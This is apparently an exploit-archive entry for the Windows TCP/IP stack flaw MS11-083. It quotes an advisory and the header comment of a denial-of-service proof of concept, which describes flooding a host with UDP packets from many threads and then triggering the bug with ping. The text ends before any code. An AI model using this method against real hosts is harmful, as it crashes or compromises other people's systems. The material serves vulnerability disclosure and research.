Microsoft Windows - TCP/IP Stack Reference Counter Integer Overflow (MS11-083)

// source: https://www.securityfocus.com/bid/50517/info

Microsoft Windows is prone to a remote integer-overflow vulnerability that affects the TCP/IP stack.

An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts may result in a denial-of-service condition.

/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow  
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP  
* echo packets. This exploit creates 250 threads and 
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to 
* enter a condition where this vulnerability is 
* triggerable.
